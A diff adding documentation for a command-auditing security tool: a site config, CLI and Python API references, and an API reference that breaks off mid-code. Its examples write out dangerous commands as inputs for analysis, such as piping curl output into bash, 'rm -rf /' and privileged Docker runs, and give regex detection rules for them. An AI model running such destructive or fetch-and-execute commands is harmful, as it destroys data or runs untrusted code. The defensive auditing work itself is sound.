diff --git a/docs/_config.yml b/docs/_config.yml new file mode 100644 index 0000000..bda843d --- /dev/null +++ b/docs/_config.yml @@ -0,0 +1,187 @@ +# AI Command Auditor Documentation Site +title: "AI Command Auditor" +description: "Secure command validation and analysis for development workflows" +url: "https://etherisc.github.io" +baseurl: "/ai-command-auditor" + +# Site author +author: + name: "Etherisc" + bio: "Decentralized insurance protocols and development tools" + links: + - label: "GitHub" + icon: "fab fa-fw fa-github" + url: "https://github.com/etherisc" + +# Theme and appearance +remote_theme: "mmistakes/minimal-mistakes" +minimal_mistakes_skin: "default" + +# Reading settings +markdown: kramdown +highlighter: rouge +timezone: UTC + +# Plugins +plugins: + - jekyll-paginate + - jekyll-sitemap + - jekyll-gist + - jekyll-feed + - jekyll-include-cache + - jekyll-seo-tag + +# Analytics +analytics: + provider: false + +# Search +search: true +search_full_content: true + +# SEO +logo: "/assets/images/logo.png" +og_image: "/assets/images/ai-auditor-og.png" + +# Social +social: + type: Organization + name: Etherisc + links: + - "https://github.com/etherisc" + +# Navigation +header_pages: + - installation/index.md + - configuration/index.md + - api/index.md + - examples/index.md + - support/index.md + +# Main navigation +main: + - title: "Installation" + url: /installation/ + - title: "Configuration" + url: /configuration/ + - title: "API Reference" + url: /api/ + - title: "Examples" + url: /examples/ + - title: "Support" + url: /support/ + +# Documentation navigation +docs: + - title: Getting Started + children: + - title: "Quick Start" + url: /installation/ + - title: "Installation Methods" + url: /installation/methods/ + - title: "System Requirements" + url: /installation/requirements/ + + - title: Configuration + children: + - title: "Configuration Overview" + url: /configuration/ + - title: "Security Rules" + url: /configuration/security-rules/ + - title: "AI Prompts" + url: /configuration/ai-prompts/ + - title: "Templates" + url: /configuration/templates/ + - title: "Git Hooks" + url: /configuration/git-hooks/ + + - title: API Reference + children: + - title: "CLI Commands" + url: /api/cli/ + - title: "Python API" + url: /api/python/ + - title: "Integration Patterns" + url: /api/integration/ + - title: "Developer Guide" + url: /api/developer/ + + - title: Examples + children: + - title: "Getting Started Tutorial" + url: /examples/tutorial/ + - title: "Python Projects" + url: /examples/python/ + - title: "Node.js Projects" + url: /examples/nodejs/ + - title: "DevOps Integration" + url: /examples/devops/ + - title: "Advanced Examples" + url: /examples/advanced/ + + - title: Support + children: + - title: "Troubleshooting" + url: /support/troubleshooting/ + - title: "FAQ" + url: /support/faq/ + - title: "Community" + url: /support/community/ + - title: "Contributing" + url: /support/contributing/ + +# Collections +collections: + docs: + output: true + permalink: /:collection/:name/ + +# Defaults +defaults: + # _posts + - scope: + path: "" + type: posts + values: + layout: single + author_profile: true + read_time: true + comments: false + share: true + related: true + + # _pages + - scope: + path: "" + type: pages + values: + layout: single + author_profile: false + + # _docs + - scope: + path: "" + type: docs + values: + layout: single + read_time: false + author_profile: false + share: false + comments: false + sidebar: + nav: "docs" + +# Exclude from processing +exclude: + - .sass-cache/ + - .jekyll-cache/ + - gemfiles/ + - Gemfile + - Gemfile.lock + - node_modules/ + - vendor/bundle/ + - vendor/cache/ + - vendor/gems/ + - vendor/ruby/ + - "*.sh" + - README.md diff --git a/docs/api/cli.md b/docs/api/cli.md new file mode 100644 index 0000000..a94b8de --- /dev/null +++ b/docs/api/cli.md @@ -0,0 +1,739 @@ +--- +layout: single +title: "CLI Command Reference" +description: "Complete reference for AI Command Auditor CLI commands" +toc: true +toc_label: "CLI Commands" +toc_icon: "terminal" +sidebar: + nav: "docs" +--- + +# ๐Ÿ’ป CLI Command Reference + +The AI Command Auditor CLI provides a comprehensive set of commands for analyzing, configuring, and managing command validation. This reference covers all available commands with detailed examples and options. + +## ๐Ÿ“‹ Command Overview + +| Command | Purpose | Common Usage | +|---------|---------|--------------| +| [`ai-auditor`](#ai-auditor) | Main CLI entry point | General help and version info | +| [`check-command`](#check-command) | Analyze a single command | `ai-auditor check-command "rm -rf temp/"` | +| [`analyze-script`](#analyze-script) | Analyze entire script files | `ai-auditor analyze-script script.sh` | +| [`install`](#install) | Install AI Command Auditor | `ai-auditor install --hooks` | +| [`setup-hooks`](#setup-hooks) | Configure git hooks | `ai-auditor setup-hooks` | +| [`config`](#config) | Configuration management | `ai-auditor config set security.level strict` | +| [`templates`](#templates) | Template management | `ai-auditor templates list` | +| [`rules`](#rules) | Security rules management | `ai-auditor rules validate` | +| [`prompts`](#prompts) | AI prompts management | `ai-auditor prompts test security-prompt` | +| [`report`](#report) | Generate reports | `ai-auditor report security-analysis` | +| [`audit`](#audit) | Run comprehensive audits | `ai-auditor audit --all` | + +## ๐Ÿ”ง Global Options + +All commands support these global options: + +```bash +ai-auditor [global-options] [command-options] +``` + +| Option | Short | Description | Default | +|--------|-------|-------------|---------| +| `--config` | `-c` | Configuration file path | `.ai-auditor/config/auditor.yml` | +| `--verbose` | `-v` | Enable verbose output | `false` | +| `--debug` | `-d` | Enable debug logging | `false` | +| `--quiet` | `-q` | Suppress non-error output | `false` | +| `--no-color` | | Disable colored output | `false` | +| `--format` | `-f` | Output format (json, yaml, table) | `table` | +| `--version` | | Show version information | | +| `--help` | `-h` | Show help information | | + +## ๐ŸŽฏ Core Commands + +### ai-auditor + +Main entry point for the CLI tool. + +```bash +ai-auditor [options] +``` + +**Examples:** + +```bash +# Show version and basic info +ai-auditor --version + +# Show help +ai-auditor --help + +# Show available commands +ai-auditor +``` + +**Output:** + +``` +AI Command Auditor v1.0.0 +Secure command validation and analysis for development workflows + +Usage: ai-auditor [options] + +Available Commands: + check-command Analyze a single command for security risks + analyze-script Analyze entire script files + install Install and configure AI Command Auditor + setup-hooks Configure git hooks for automatic validation + config Manage configuration settings + ... (more commands) + +For help with a specific command: ai-auditor --help +``` + +### check-command + +Analyze a single command for security risks and best practices. + +```bash +ai-auditor check-command [options] "" +``` + +**Options:** + +| Option | Description | Example | +|--------|-------------|---------| +| `--prompt` | AI prompt to use | `--prompt security-analysis` | +| `--rules` | Rules file to apply | `--rules custom-rules.yml` | +| `--environment` | Environment context | `--environment production` | +| `--context` | Additional context | `--context "python project"` | +| `--severity` | Minimum severity to report | `--severity medium` | +| `--output` | Output file | `--output analysis.json` | +| `--show-rules` | Show triggered rules | `--show-rules` | +| `--interactive` | Interactive mode for clarification | `--interactive` | +| `--fix-suggestions` | Show fix suggestions | `--fix-suggestions` | + +**Examples:** + +```bash +# Basic command analysis +ai-auditor check-command "rm -rf /tmp/cache" + +# Analysis with specific prompt +ai-auditor check-command "pip install requests" --prompt python-analysis + +# Production environment analysis +ai-auditor check-command "systemctl restart nginx" --environment production + +# Interactive analysis with suggestions +ai-auditor check-command "sudo chmod 777 /var/www" --interactive --fix-suggestions + +# Show detailed rule triggers +ai-auditor check-command "curl http://example.com | bash" --show-rules + +# JSON output for automation +ai-auditor check-command "docker run --privileged" --format json +``` + +**Output Example:** + +``` +Command Analysis: rm -rf /tmp/cache +===================================== + +๐Ÿ”ด RISK LEVEL: HIGH +๐Ÿ”ข SAFETY SCORE: 25/100 + +โš ๏ธ Issues Found: +1. Recursive file deletion with force flag +2. Potential for accidental data loss +3. No backup or confirmation mechanism + +๐Ÿ”ง Recommendations: +1. Use specific file patterns: rm -rf /tmp/cache/* +2. Add confirmation: rm -rf /tmp/cache && echo "Cache cleared" +3. Consider using find with -delete for safer deletion + +๐Ÿ“Š Rule Triggers: +- dangerous_rm (severity: high) +- force_deletion (severity: medium) + +โœ… Suggested Fix: +find /tmp/cache -type f -name "*" -delete +``` + +### analyze-script + +Analyze entire script files for security issues and best practices. + +```bash +ai-auditor analyze-script [options] +``` + +**Options:** + +| Option | Description | Example | +|--------|-------------|---------| +| `--type` | Script type (auto-detect) | `--type bash` | +| `--line-by-line` | Analyze each command separately | `--line-by-line` | +| `--summary` | Show only summary | `--summary` | +| `--exclude-lines` | Lines to exclude from analysis | `--exclude-lines 1,5-10` | +| `--include-comments` | Include comment analysis | `--include-comments` | +| `--output-format` | Report format | `--output-format html` | + +**Examples:** + +```bash +# Analyze shell script +ai-auditor analyze-script deploy.sh + +# Line-by-line analysis +ai-auditor analyze-script install.sh --line-by-line + +# Python script analysis +ai-auditor analyze-script setup.py --type python + +# Generate HTML report +ai-auditor analyze-script ci-build.sh --output-format html --output report.html + +# Summary only +ai-auditor analyze-script large-script.sh --summary +``` + +**Output Example:** + +``` +Script Analysis: deploy.sh +========================== + +๐Ÿ“ File Info: +- Type: Bash script +- Lines: 127 +- Commands analyzed: 45 + +๐Ÿ”ด Critical Issues (2): +Line 23: rm -rf $DEPLOY_DIR/* +Line 67: eval "$USER_INPUT" + +๐ŸŸก Warnings (5): +Line 12: sudo apt-get update +Line 34: chmod 755 $CONFIG_FILE +... + +๐Ÿ“Š Summary: +- Total commands: 45 +- Critical: 2 +- High: 3 +- Medium: 5 +- Low: 8 +- Safe: 27 + +Overall Safety Score: 67/100 +``` + +### install + +Install and configure AI Command Auditor system-wide or for a project. + +```bash +ai-auditor install [options] +``` + +**Options:** + +| Option | Description | Example | +|--------|-------------|---------| +| `--global` | Install globally | `--global` | +| `--local` | Install for current project | `--local` | +| `--hooks` | Setup git hooks | `--hooks` | +| `--template` | Use configuration template | `--template python` | +| `--force` | Force overwrite existing config | `--force` | +| `--dry-run` | Show what would be installed | `--dry-run` | + +**Examples:** + +```bash +# Install for current project with git hooks +ai-auditor install --local --hooks + +# Global installation +ai-auditor install --global + +# Install with Python template +ai-auditor install --template python --hooks + +# Dry run to see what would be installed +ai-auditor install --local --hooks --dry-run +``` + +### setup-hooks + +Configure git hooks for automatic command validation. + +```bash +ai-auditor setup-hooks [options] +``` + +**Options:** + +| Option | Description | Example | +|--------|-------------|---------| +| `--pre-commit` | Setup pre-commit hook | `--pre-commit` | +| `--pre-push` | Setup pre-push hook | `--pre-push` | +| `--commit-msg` | Setup commit message hook | `--commit-msg` | +| `--all` | Setup all hooks | `--all` | +| `--remove` | Remove existing hooks | `--remove` | +| `--backup` | Backup existing hooks | `--backup` | + +**Examples:** + +```bash +# Setup all git hooks +ai-auditor setup-hooks --all + +# Setup only pre-commit hook +ai-auditor setup-hooks --pre-commit + +# Remove all AI auditor hooks +ai-auditor setup-hooks --remove + +# Setup with backup of existing hooks +ai-auditor setup-hooks --all --backup +``` + +## โš™๏ธ Configuration Commands + +### config + +Manage AI Command Auditor configuration settings. + +```bash +ai-auditor config [options] +``` + +**Actions:** + +- `get ` - Get configuration value +- `set ` - Set configuration value +- `list` - List all configuration +- `validate` - Validate configuration +- `reset` - Reset to defaults +- `export` - Export configuration +- `import` - Import configuration + +**Examples:** + +```bash +# Get current security level +ai-auditor config get security.level + +# Set AI model +ai-auditor config set ai.model "gpt-4" + +# List all configuration +ai-auditor config list + +# Validate configuration +ai-auditor config validate + +# Reset security settings to default +ai-auditor config reset security + +# Export configuration +ai-auditor config export --output my-config.yml + +# Import configuration +ai-auditor config import my-config.yml +``` + +**Common Configuration Keys:** + +```bash +# Security settings +ai-auditor config set security.level strict +ai-auditor config set security.block_critical true + +# AI settings +ai-auditor config set ai.provider openai +ai-auditor config set ai.model gpt-4 +ai-auditor config set ai.temperature 0.1 + +# Rules settings +ai-auditor config set rules.enabled true +ai-auditor config set rules.custom_path ./custom-rules.yml + +# Logging settings +ai-auditor config set logging.level info +ai-auditor config set logging.file ./auditor.log +``` + +### templates + +Manage configuration templates for different project types. + +```bash +ai-auditor templates [options] +``` + +**Actions:** + +- `list` - List available templates +- `show ` - Show template details +- `apply ` - Apply template to current project +- `create ` - Create new template +- `delete ` - Delete template +- `validate ` - Validate template + +**Examples:** + +```bash +# List available templates +ai-auditor templates list + +# Show Python template details +ai-auditor templates show python + +# Apply DevOps template +ai-auditor templates apply devops + +# Create custom template +ai-auditor templates create my-company --from-current + +# Validate template +ai-auditor templates validate python +``` + +### rules + +Manage security rules and validation patterns. + +```bash +ai-auditor rules [options] +``` + +**Actions:** + +- `list` - List all rules +- `show ` - Show rule details +- `test ` - Test rule against command +- `validate` - Validate all rules +- `enable ` - Enable specific rule +- `disable ` - Disable specific rule +- `stats` - Show rule statistics + +**Examples:** + +```bash +# List all rules +ai-auditor rules list + +# Show dangerous deletion rule +ai-auditor rules show dangerous_rm + +# Test rule against command +ai-auditor rules test dangerous_rm "rm -rf /" + +# Validate all rules +ai-auditor rules validate + +# Disable specific rule +ai-auditor rules disable sudo_usage + +# Show rule statistics +ai-auditor rules stats +``` + +### prompts + +Manage AI prompts and analysis templates. + +```bash +ai-auditor prompts [options] +``` + +**Actions:** + +- `list` - List available prompts +- `show ` - Show prompt details +- `test ` - Test prompt +- `validate` - Validate all prompts +- `create ` - Create new prompt +- `edit ` - Edit existing prompt + +**Examples:** + +```bash +# List available prompts +ai-auditor prompts list + +# Show security prompt +ai-auditor prompts show security-analysis + +# Test prompt with command +ai-auditor prompts test python-analysis "pip install requests" + +# Validate all prompts +ai-auditor prompts validate + +# Create new prompt +ai-auditor prompts create custom-security +``` + +## ๐Ÿ“Š Analysis and Reporting + +### report + +Generate comprehensive reports and analytics. + +```bash +ai-auditor report [options] +``` + +**Report Types:** + +- `security-analysis` - Security analysis report +- `rules-usage` - Rules usage statistics +- `command-history` - Command analysis history +- `compliance` - Compliance report +- `performance` - Performance metrics +- `trends` - Trend analysis + +**Options:** + +| Option | Description | Example | +|--------|-------------|---------| +| `--period` | Time period | `--period 30d` | +| `--format` | Output format | `--format pdf` | +| `--include` | Include specific sections | `--include charts,details` | +| `--filter` | Filter criteria | `--filter severity=high` | + +**Examples:** + +```bash +# Security analysis report +ai-auditor report security-analysis --period 7d + +# Rules usage statistics +ai-auditor report rules-usage --format json + +# Compliance report +ai-auditor report compliance --include violations,recommendations + +# Command history analysis +ai-auditor report command-history --filter "severity>=medium" +``` + +### audit + +Run comprehensive security audits. + +```bash +ai-auditor audit [options] +``` + +**Options:** + +| Option | Description | Example | +|--------|-------------|---------| +| `--all` | Audit entire project | `--all` | +| `--scripts` | Audit script files | `--scripts` | +| `--config` | Audit configuration | `--config` | +| `--history` | Audit command history | `--history` | +| `--deep` | Deep analysis mode | `--deep` | +| `--fix` | Auto-fix issues when possible | `--fix` | + +**Examples:** + +```bash +# Full project audit +ai-auditor audit --all + +# Audit only scripts +ai-auditor audit --scripts --deep + +# Audit with auto-fix +ai-auditor audit --all --fix + +# Quick configuration audit +ai-auditor audit --config +``` + +## ๐Ÿ” Advanced Usage + +### Chaining Commands + +```bash +# Analyze and generate report +ai-auditor check-command "risky-command" --format json | \ +ai-auditor report security-analysis --stdin + +# Batch analysis +find . -name "*.sh" -exec ai-auditor analyze-script {} \; + +# Conditional execution +ai-auditor check-command "$CMD" --format json | \ +jq -r '.threat_level' | \ +grep -q "critical" && echo "BLOCKED" || echo "ALLOWED" +``` + +### Integration with CI/CD + +```bash +# CI/CD pipeline integration +ai-auditor audit --all --format json > audit-results.json +if [ $? -ne 0 ]; then + echo "Security audit failed" + exit 1 +fi + +# Pre-deployment validation +ai-auditor analyze-script deploy.sh --severity high --quiet +if [ $? -eq 0 ]; then + echo "Deployment script validated" +else + echo "Security issues found in deployment script" + exit 1 +fi +``` + +### Automation and Scripting + +```bash +# Automated rule management +ai-auditor rules list --format json | \ +jq -r '.[] | select(.enabled == false) | .name' | \ +while read rule; do + ai-auditor rules enable "$rule" +done + +# Configuration backup +ai-auditor config export --output "backup-$(date +%Y%m%d).yml" + +# Bulk command analysis +cat commands.txt | while read cmd; do + ai-auditor check-command "$cmd" --format json >> results.jsonl +done +``` + +## ๐Ÿ”ง Environment Variables + +Control CLI behavior with environment variables: + +```bash +# Configuration +export AI_AUDITOR_CONFIG="/path/to/config.yml" +export AI_AUDITOR_LOG_LEVEL="debug" +export AI_AUDITOR_NO_COLOR="true" + +# AI Provider settings +export AI_AUDITOR_AI_PROVIDER="openai" +export AI_AUDITOR_AI_MODEL="gpt-4" +export OPENAI_API_KEY="your-api-key" + +# Security settings +export AI_AUDITOR_SECURITY_LEVEL="strict" +export AI_AUDITOR_BLOCK_CRITICAL="true" + +# Output settings +export AI_AUDITOR_OUTPUT_FORMAT="json" +export AI_AUDITOR_QUIET_MODE="false" +``` + +## ๐Ÿšจ Exit Codes + +The CLI uses standard exit codes: + +| Code | Meaning | Description | +|------|---------|-------------| +| 0 | Success | Command completed successfully | +| 1 | General Error | Generic error occurred | +| 2 | Configuration Error | Invalid configuration | +| 3 | Security Violation | Critical security issue found | +| 4 | Invalid Command | Invalid command or arguments | +| 5 | Permission Error | Insufficient permissions | +| 6 | Network Error | Network/API communication error | +| 10 | Analysis Warning | Non-critical issues found | + +## ๐Ÿ”— Shell Integration + +### Bash Integration + +```bash +# Add to ~/.bashrc +eval "$(ai-auditor completion bash)" + +# Alias for quick checks +alias check='ai-auditor check-command' +alias audit-script='ai-auditor analyze-script' +``` + +### Zsh Integration + +```zsh +# Add to ~/.zshrc +eval "$(ai-auditor completion zsh)" + +# Functions for common tasks +function ai-check() { + ai-auditor check-command "$*" --interactive +} +``` + +### Fish Integration + +```fish +# Add to ~/.config/fish/config.fish +ai-auditor completion fish | source + +# Abbreviations +abbr -a aic ai-auditor check-command +abbr -a ais ai-auditor analyze-script +``` + +## ๐Ÿ“– Next Steps + +- ๐Ÿ [Python API](/api/python/) - Programmatic access +- ๐Ÿ”— [Integration Guide](/api/integration/) - Integrate with your tools +- ๐Ÿ’ก [Examples](/examples/) - Practical usage examples +- ๐Ÿ†˜ [Troubleshooting](/support/troubleshooting/) - Common issues and solutions + + diff --git a/docs/api/index.md b/docs/api/index.md new file mode 100644 index 0000000..953c478 --- /dev/null +++ b/docs/api/index.md @@ -0,0 +1,427 @@ +--- +layout: single +title: "API Reference" +description: "Complete CLI and Python API documentation" +toc: true +toc_label: "API Topics" +toc_icon: "code" +sidebar: + nav: "docs" +--- + +# ๐Ÿ”Œ API Reference + +AI Command Auditor provides both a powerful command-line interface (CLI) and a comprehensive Python API for integration into your workflows and applications. + +## ๐Ÿ–ฅ๏ธ Command Line Interface (CLI) + +The CLI is the primary way to interact with AI Command Auditor. It provides commands for validation, configuration, and integration. + +### Quick Reference + +```bash +# Core Commands +ai-auditor check-command "your command here" # Validate a command +ai-auditor init # Initialize in project +ai-auditor setup-hooks # Setup git hooks + +# Configuration +ai-auditor config show # View configuration +ai-auditor config set security.strict_mode true # Update settings + +# Information +ai-auditor --version # Show version +ai-auditor --help # Show help +``` + +
+
+

๐Ÿ” Command Validation

+

Validate individual commands or scripts for security

+ View Commands +
+ +
+

โš™๏ธ Configuration

+

Manage configuration settings and templates

+ View Commands +
+ +
+

๐Ÿ”— Git Integration

+

Setup and manage git hooks integration

+ View Commands +
+ +
+

๐Ÿ“Š Reporting

+

Generate reports and view analysis results

+ View Commands +
+
+ +## ๐Ÿ Python API + +The Python API allows you to integrate AI Command Auditor into your Python applications, scripts, and automation workflows. + +```python +from ai_command_auditor import CommandAuditor, SecurityRules + +# Initialize auditor +auditor = CommandAuditor() + +# Check a command +result = auditor.analyze_command("rm -rf /tmp/*") +print(f"Safety Score: {result.safety_score}") +print(f"Recommendations: {result.recommendations}") + +# Load custom rules +rules = SecurityRules.from_file("custom-rules.yml") +auditor.update_rules(rules) +``` + +
+
+

๐Ÿ”ง Core API

+

Main classes and functions for command analysis

+ View API +
+ +
+

๐Ÿ›ก๏ธ Security API

+

Security rules, validation, and policy management

+ View API +
+ +
+

๐Ÿค– AI Integration

+

AI model configuration and prompt management

+ View API +
+ +
+

๐Ÿ”Œ Extensions

+

Plugin system and custom validators

+ View API +
+
+ +## ๐Ÿš€ Getting Started Examples + +### CLI Quick Start + +```bash +# 1. Install and initialize +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh +cd your-project && ai-auditor init + +# 2. Check your first command +ai-auditor check-command "sudo rm -rf /var/log/*" + +# 3. Setup git hooks +ai-auditor setup-hooks + +# 4. Configure for your project +ai-auditor config set templates.default "python" +``` + +### Python API Quick Start + +```python +# 1. Install the package +# pip install ai-command-auditor + +# 2. Basic usage +from ai_command_auditor import CommandAuditor + +auditor = CommandAuditor() +result = auditor.analyze_command("python -c 'import os; os.system(\"rm -rf /\")'") + +if result.is_dangerous: + print(f"โš ๏ธ Dangerous command detected!") + print(f"Severity: {result.severity}") + print(f"Reason: {result.reason}") +else: + print("โœ… Command appears safe") + +# 3. Custom configuration +auditor.configure({ + 'security': {'strict_mode': True}, + 'ai': {'model': 'gpt-4o'} +}) +``` + +## ๐Ÿ“– Detailed Documentation + +### CLI Documentation + +The complete CLI reference covers all commands, options, and use cases: + +| Section | Description | Link | +|---------|-------------|------| +| **Command Validation** | Validate commands and scripts | [CLI Commands โ†’](/api/cli/#command-validation) | +| **Configuration Management** | Manage settings and templates | [Config Commands โ†’](/api/cli/#configuration) | +| **Git Integration** | Setup hooks and automation | [Git Commands โ†’](/api/cli/#git-integration) | +| **Reporting & Analysis** | Generate reports and insights | [Report Commands โ†’](/api/cli/#reporting) | +| **Utility Commands** | Helper and diagnostic commands | [Utility Commands โ†’](/api/cli/#utilities) | + +### Python API Documentation + +Complete Python API reference with examples: + +| Module | Description | Link | +|--------|-------------|------| +| **`CommandAuditor`** | Main auditor class and methods | [Core API โ†’](/api/python/#commandauditor) | +| **`SecurityRules`** | Security policy management | [Security API โ†’](/api/python/#securityrules) | +| **`AIAnalyzer`** | AI-powered analysis engine | [AI API โ†’](/api/python/#aianalyzer) | +| **`Configuration`** | Configuration management | [Config API โ†’](/api/python/#configuration) | +| **`Validators`** | Custom validation framework | [Validators โ†’](/api/python/#validators) | + +## ๐Ÿ”— Integration Patterns + +### CI/CD Integration + +```yaml +# GitHub Actions example +name: Command Validation +on: [push, pull_request] + +jobs: + validate: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - name: Install AI Command Auditor + run: curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh + + - name: Validate Commands + run: | + ai-auditor scan-scripts scripts/ + ai-auditor validate-makefile Makefile +``` + +### Pre-commit Integration + +```yaml +# .pre-commit-config.yaml +repos: + - repo: local + hooks: + - id: ai-command-auditor + name: AI Command Auditor + entry: ai-auditor check-staged-commands + language: system + stages: [commit] +``` + +### Python Integration + +```python +# Custom integration example +import subprocess +from ai_command_auditor import CommandAuditor + +class SafeCommandRunner: + def __init__(self): + self.auditor = CommandAuditor() + + def run_command(self, command: str) -> str: + # Validate before execution + result = self.auditor.analyze_command(command) + + if result.is_dangerous: + raise SecurityError(f"Dangerous command blocked: {result.reason}") + + # Execute if safe + return subprocess.check_output(command, shell=True, text=True) + +# Usage +runner = SafeCommandRunner() +output = runner.run_command("ls -la") # Safe +# runner.run_command("rm -rf /") # Would raise SecurityError +``` + +## ๐Ÿ› ๏ธ Development & Extension + +### Custom Validators + +```python +from ai_command_auditor.validators import BaseValidator + +class CustomValidator(BaseValidator): + def __init__(self): + super().__init__("custom_validator") + + def validate(self, command: str) -> ValidationResult: + # Custom validation logic + if "dangerous_pattern" in command: + return ValidationResult( + valid=False, + severity="high", + message="Custom security rule violation" + ) + return ValidationResult(valid=True) + +# Register custom validator +auditor = CommandAuditor() +auditor.add_validator(CustomValidator()) +``` + +### Plugin Development + +```python +# Create a plugin +from ai_command_auditor.plugins import BasePlugin + +class MyPlugin(BasePlugin): + def on_command_analyzed(self, command: str, result: AnalysisResult): + # Custom post-analysis logic + if result.severity == "critical": + self.send_alert(command, result) + + def send_alert(self, command: str, result: AnalysisResult): + # Send notification, log to external system, etc. + pass + +# Load plugin +auditor.load_plugin(MyPlugin()) +``` + +## ๐Ÿ“Š Performance & Optimization + +### Async API Usage + +```python +import asyncio +from ai_command_auditor import AsyncCommandAuditor + +async def validate_commands(commands: list[str]): + auditor = AsyncCommandAuditor() + + # Validate multiple commands concurrently + results = await asyncio.gather(*[ + auditor.analyze_command(cmd) for cmd in commands + ]) + + return results + +# Usage +commands = ["ls -la", "rm temp.txt", "python script.py"] +results = asyncio.run(validate_commands(commands)) +``` + +### Caching and Performance + +```python +from ai_command_auditor import CommandAuditor + +# Configure caching for better performance +auditor = CommandAuditor({ + 'performance': { + 'cache_enabled': True, + 'cache_ttl': 3600, # 1 hour + 'parallel_requests': 5 + } +}) + +# Batch processing +results = auditor.analyze_commands(command_list, batch_size=10) +``` + +## ๐Ÿ” Advanced Usage + +### Custom AI Models + +```python +# Use custom AI model +auditor = CommandAuditor({ + 'ai': { + 'model': 'custom-model', + 'api_base': 'https://your-api.com/v1', + 'api_key': 'your-api-key' + } +}) +``` + +### Security Policy Management + +```python +from ai_command_auditor import SecurityPolicy + +# Create custom security policy +policy = SecurityPolicy() +policy.add_rule("no_rm_rf", r"rm\s+-rf\s+/", severity="critical") +policy.add_rule("no_curl_eval", r"curl.*\|\s*sh", severity="high") + +auditor = CommandAuditor() +auditor.apply_policy(policy) +``` + +## ๐Ÿ“š API Reference Links + +### Complete Documentation + +- ๐Ÿ–ฅ๏ธ [**Complete CLI Reference**](/api/cli/) - All CLI commands and options +- ๐Ÿ [**Complete Python API**](/api/python/) - Full Python API documentation +- ๐Ÿ”— [**Integration Guide**](/api/integration/) - Integration patterns and examples +- ๐Ÿ‘ฉโ€๐Ÿ’ป [**Developer Guide**](/api/developer/) - Contributing and development + +### Quick Links + +- [Installation Guide](/installation/) - Get started quickly +- [Configuration Reference](/configuration/) - Configure for your needs +- [Examples & Tutorials](/examples/) - Learn with practical examples +- [Support & FAQ](/support/) - Get help and find answers + + diff --git a/docs/api/python.md b/docs/api/python.md new file mode 100644 index 0000000..60d39d1 --- /dev/null +++ b/docs/api/python.md @@ -0,0 +1,988 @@ +--- +layout: single +title: "Python API Reference" +description: "Complete Python API documentation for AI Command Auditor" +toc: true +toc_label: "Python API" +toc_icon: "code" +sidebar: + nav: "docs" +--- + +# ๐Ÿ Python API Reference + +The AI Command Auditor Python API provides programmatic access to all command analysis, configuration management, and security validation features. This documentation covers the complete API with examples and best practices. + +## ๐Ÿ“ฆ Installation + +```bash +# Install from PyPI +pip install ai-command-auditor + +# Install with development dependencies +pip install "ai-command-auditor[dev]" + +# Install from source +git clone https://github.com/etherisc/ai-command-auditor.git +cd ai-command-auditor +pip install -e . +``` + +## ๐Ÿš€ Quick Start + +```python +from ai_command_auditor import CommandAuditor, AuditResult + +# Initialize auditor +auditor = CommandAuditor() + +# Analyze a command +result = auditor.check_command("rm -rf /tmp/cache") +print(f"Risk Level: {result.risk_level}") +print(f"Safety Score: {result.safety_score}") + +# Get recommendations +for recommendation in result.recommendations: + print(f"- {recommendation}") +``` + +## ๐Ÿ“š Core Classes + +### CommandAuditor + +Main class for command analysis and auditing. + +```python +class CommandAuditor: + """ + Main auditor class for analyzing commands and scripts. + + Args: + config_path (str, optional): Path to configuration file + ai_provider (str, optional): AI provider to use ('openai', 'anthropic') + security_level (str, optional): Security level ('basic', 'standard', 'strict') + """ + + def __init__( + self, + config_path: Optional[str] = None, + ai_provider: Optional[str] = None, + security_level: Optional[str] = None + ): + pass +``` + +#### Methods + +##### check_command() + +Analyze a single command for security risks. + +```python +def check_command( + self, + command: str, + context: Optional[Dict[str, Any]] = None, + environment: Optional[str] = None, + prompt_name: Optional[str] = None +) -> AuditResult: + """ + Analyze a command for security risks and best practices. + + Args: + command: The command string to analyze + context: Additional context information + environment: Environment context ('development', 'production') + prompt_name: Specific AI prompt to use + + Returns: + AuditResult: Analysis results + + Raises: + CommandValidationError: If command is invalid + AIAnalysisError: If AI analysis fails + """ +``` + +**Example:** + +```python +from ai_command_auditor import CommandAuditor + +auditor = CommandAuditor(security_level="strict") + +# Basic analysis +result = auditor.check_command("sudo rm -rf /var/log/*") + +# With context +result = auditor.check_command( + "pip install requests", + context={"project_type": "python", "requirements_locked": False}, + environment="production" +) + +# With specific prompt +result = auditor.check_command( + "docker run --privileged alpine", + prompt_name="devops-security" +) + +print(f"Risk: {result.risk_level}") +print(f"Score: {result.safety_score}/100") +for issue in result.issues: + print(f"Issue: {issue.description}") +``` + +##### analyze_script() + +Analyze entire script files. + +```python +def analyze_script( + self, + script_path: str, + script_type: Optional[str] = None, + line_by_line: bool = False +) -> ScriptAuditResult: + """ + Analyze a script file for security issues. + + Args: + script_path: Path to the script file + script_type: Script type ('bash', 'python', 'powershell') + line_by_line: Analyze each line separately + + Returns: + ScriptAuditResult: Script analysis results + """ +``` + +**Example:** + +```python +# Analyze shell script +result = auditor.analyze_script("deploy.sh") + +# Line-by-line analysis +result = auditor.analyze_script( + "install.sh", + line_by_line=True +) + +# Python script +result = auditor.analyze_script( + "setup.py", + script_type="python" +) + +print(f"Total issues: {len(result.issues)}") +print(f"Critical issues: {result.critical_count}") +print(f"Overall score: {result.overall_score}") + +for line_result in result.line_results: + if line_result.issues: + print(f"Line {line_result.line_number}: {line_result.command}") + for issue in line_result.issues: + print(f" - {issue.description}") +``` + +##### batch_analyze() + +Analyze multiple commands or scripts in batch. + +```python +def batch_analyze( + self, + items: List[Union[str, Dict[str, Any]]], + parallel: bool = True, + max_workers: Optional[int] = None +) -> List[AuditResult]: + """ + Analyze multiple commands in batch. + + Args: + items: List of commands or command dictionaries + parallel: Enable parallel processing + max_workers: Maximum number of worker threads + + Returns: + List[AuditResult]: Results for each command + """ +``` + +**Example:** + +```python +commands = [ + "rm -rf temp/", + "sudo apt update", + {"command": "pip install package", "context": {"environment": "production"}} +] + +results = auditor.batch_analyze(commands, parallel=True) + +for i, result in enumerate(results): + print(f"Command {i+1}: {result.risk_level} risk") +``` + +### AuditResult + +Contains the results of command analysis. + +```python +@dataclass +class AuditResult: + """Results from command analysis.""" + + command: str + risk_level: RiskLevel + safety_score: int + issues: List[SecurityIssue] + recommendations: List[str] + triggered_rules: List[str] + ai_analysis: Optional[Dict[str, Any]] + execution_time: float + timestamp: datetime + + def is_safe(self) -> bool: + """Check if command is considered safe.""" + return self.risk_level in [RiskLevel.LOW, 